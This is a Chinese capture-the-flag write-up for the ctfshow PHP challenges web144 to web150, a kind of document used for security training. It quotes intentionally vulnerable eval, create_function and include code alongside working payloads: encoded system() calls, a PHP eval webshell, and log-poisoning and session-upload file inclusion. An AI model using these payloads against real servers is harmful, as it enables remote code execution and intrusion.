?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*

web144

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 16:21:15

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

变一下顺序就好

?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)&v3=-

web145

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

巧用三目运算符
1?phpinfo():1 这样执行的就是phpinfo()

?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1

或者

?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1

web146

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1

或者

?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1

web147

<?php
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }
}

考察create_function函数代码注入
create_function()功能如下

create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo $a."123";
}

如果第二个参数传入 echo 1;}phpinfo();//

function f($a) {
  echo 1;}phpinfo();//
}
从而执行phpinfo()命令

然后是绕过这个正则,用%5c(也就是\)原理在这
这样就可以执行任意命令了

post: ctf=%5ccreate_function
get: ?show=echo 1;}system('tac flag.php');//

web148

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");

可以用异或做

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

预期解是中文变量

code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
"`{{{"^"?<>/"; 异或出来的结果是 _GET

这什么寄吧玩意,看不懂。。。


web149

<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

看题目描述是条件竞争,不过可以非预期,直接往index.php里写马

post: show=<?php eval($_POST['cmd']);?>
get: ?ctf=index.php

web 150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
} 

包含日志文件
修改ua头为一句话,日志文件是/var/log/nginx/access.log
isVIP的话变量覆盖即可

在这里插入图片描述


web150_plus

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

利用session.upload_progress进行文件包含,之前文件包含系列就有[ctfshow web入门文件包含82-86

](https://xiaolong22333.top/index.php/archives/28/)
先构造post发包

<!DOCTYPE html>
<html>
<body>
<form action="http://ed5a888e-8a6b-4e9f-9f47-0d3922ca327d.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

随便传个文件,然后抓包,添加如下数据待爆破

在这里插入图片描述

回到题目抓包传参

在这里插入图片描述

接着两个包一起爆破

在这里插入图片描述

不过这是非预期,预期解不太懂

这个题一点点小坑__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦

exp


芜湖,完结撒花~~~

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏